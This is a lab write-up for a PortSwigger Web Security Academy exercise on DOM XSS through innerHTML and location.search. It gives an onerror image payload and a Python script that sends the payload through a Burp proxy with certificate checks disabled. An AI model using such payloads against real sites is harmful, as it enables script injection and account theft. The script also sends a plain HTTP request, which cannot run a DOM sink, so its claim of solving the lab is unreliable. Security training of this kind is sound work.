Back

XSS Lab 4

DOM-based cross-site scripting using innerHTML and location.search

portswigger-labs content

DOM XSS in innerHTML sink using source location.search#

This lab demonstrates a DOM-based cross-site scripting (XSS) vulnerability. The search blog functionality assigns user-controlled data from location.search directly to innerHTML of a div element. This allows attackers to inject arbitrary HTML and JavaScript, which is executed in the context of the user’s browser. Successfully exploiting this vulnerability involves injecting a payload that triggers the alert() function.

How Exploit Works#

The search parameter from the URL is used unsafely in innerHTML.
By injecting a payload like <img src=1 onerror=alert(1)>, the onerror event is triggered when the browser fails to load the image.
This executes the JavaScript alert(1) function.
The lab is solved when the alert executes successfully.

Usage#

python3 exploit.py https://<your-lab-id>.web-security-academy.net

cmd

Exploit#

exploit.py

import requests
import sys
import urllib3

# Disable SSL warnings for Burp Suite
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Set Burp Suite proxy
proxies = {
    'http': 'http://127.0.0.1:8080',
    'https': 'http://127.0.0.1:8080'
}

def check_burp():
    # Check if Burp Suite is running and listening on the configured proxy.

    try:
        requests.get("http://127.0.0.1:8080", timeout=3)
    except requests.exceptions.RequestException:
        print("[-] Burp Suite is not running. Please start it and try again.")
        sys.exit(1)

def exploit_xss(url, payload):
    # Exploit XSS in search parameter.
        uri = f"/?search={payload}"
        res = requests.get(url + uri, verify=False, proxies=proxies)
        res.raise_for_status()
        session = requests.Session()
        res = session.get(url, verify=False, proxies=proxies)
        if "Congratulations" in res.text:
            print("[+] Lab solved 🎉")
            return True
        else:
            print("[-] lab not solved.")

def main():
    # Entry point of the script.

    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <url>")
        print(f"Example: python {sys.argv[0]} https://example.com")
        sys.exit(1)

    url = sys.argv[1].strip()

    # Step 1: Check Burp Suite
    check_burp()

    # Step 2: Define XSS payload
    payload = '<img src=1 onerror=alert(1)>'

    # Step 3: Attempt exploitation
    print("[*] Attempting XSS...")
    if exploit_xss(url, payload):
        print("[+] XSS successful!")
    else:
        print("[-] XSS unsuccessful.")

if __name__ == "__main__":
    main()

python

See more portswigger-labs